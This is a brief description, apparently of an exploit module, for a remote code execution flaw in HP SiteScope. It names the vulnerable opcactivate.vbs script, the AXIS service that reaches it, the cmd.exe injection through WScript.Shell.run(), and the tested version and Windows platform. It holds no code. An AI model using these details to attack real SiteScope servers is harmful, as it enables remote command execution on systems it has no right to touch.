This module exploits a code execution flaw in HP SiteScope.  
The vulnerability exists on the opcactivate.vbs script, which  
is reachable from the APIBSMIntegrationImpl AXIS service, and  
uses WScript.Shell.run() to execute cmd.exe with user provided  
data. Note which the opcactivate.vbs component is installed  
with the (optional) HP Operations Agent component. The module  
has been tested successfully on HP SiteScope 11.20 (with HP  
Operations Agent) over Windows 2003 SP2.
